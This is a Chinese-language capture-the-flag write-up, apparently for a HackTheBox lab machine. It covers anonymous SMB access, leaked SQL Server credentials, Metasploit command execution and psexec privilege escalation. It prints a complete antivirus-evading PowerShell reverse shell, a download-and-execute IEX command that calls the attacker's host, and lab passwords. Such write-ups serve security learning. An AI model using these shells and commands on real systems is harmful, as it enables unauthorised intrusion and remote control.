吐槽下VPN,太不稳定了。。
但没交钱嘛,俺无话可说
0x01 信息收集
nmap -sC -sV -v 10.10.10.27
-sC:使用默认脚本进行扫描,等同于–script=default
-sV:探测开启的端口来获取服务、版本信息
-v:vpn不稳定,开了看扫描是不是挂掉了
典型的windows配置,没有WEB站点:
0x02 user.txt
445端口的话可以尝试SMB爆破、匿名访问等,winserver版本那么高就不可能有永恒之蓝啦。
这里最后试出来是匿名访问,使用如下命令访问共享资源列表:
smbclient -N -L //10.10.10.27/
将-N
参数去掉即可访问对应的共享资源,然后使用dir命令即可看到共享的文件。
这里是有一个prod.dtsConfig
,使用get
命令可以下载下来:
可以拿到泄露的账户密码。Google一下能够发现是SQLSERVER的配置信息:
于是我们可以使用metasploit的mssql_exec模块执行命令:
msf6 auxiliary(admin/mssql/mssql_exec) > set rhosts 10.10.10.27
rhosts => 10.10.10.27
msf6 auxiliary(admin/mssql/mssql_exec) > set username sql_svc
username => sql_svc
msf6 auxiliary(admin/mssql/mssql_exec) > set password M3g4c0rp123
password => M3g4c0rp123
msf6 auxiliary(admin/mssql/mssql_exec) > set domain ARCHETYPE
domain => ARCHETYPE
msf6 auxiliary(admin/mssql/mssql_exec) > set use_windows_authent true
use_windows_authent => true
msf6 auxiliary(admin/mssql/mssql_exec) > set cmd whoami
cmd => whoami
结果是肥肠不戳的,我们可以进一步把shell拿回来。
这里直接使用msf的web_delivery
模块是会被杀软拦截的,因为没有免杀(Very Easy等级的Box 上杀软真的不大丈夫嗷)。。
这里就用了官方WP提供的免杀Script:
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.98",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
将其保存成reverse_shell.ps1
。
接下来开启80端口的HTTPSERVER,然后在443上NC监听:
在msf上重新设置要执行的命令,注意转义。
set cmd PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile IEX (New-Object Net.WebClient).DownloadString(\\\"http://10.10.14.98/reverse_shell.ps1\\\");
拿到shell之后一路dir
下去。能够在用户的桌面找到user.txt
:
type c:\\Users\\sql_svc\\Desktop\\user.txt
0x03 root.txt
root的提权是利用了命令执行历史记录的泄露。一番查找后找到目录C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
能够找到泄露的管理员凭据信息:
直接使用msf的psexec
模块即可拿到靶机的meterpreter:
Name Current Setting Required
---- --------------- --------
RHOSTS 10.10.10.27 yes
RPORT 445 yes
SERVICE_DESCRIPTION no
SERVICE_DISPLAY_NAME no
SERVICE_NAME no
SMBDomain . no
SMBPass MEGACORP_4dm1n!! no
SMBSHARE no
SMBUser administrator no
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required
---- --------------- --------
EXITFUNC thread yes
LHOST 10.10.14.98 yes
LPORT 4444 yes
在管理员的桌面目录下即可拿到root的flag: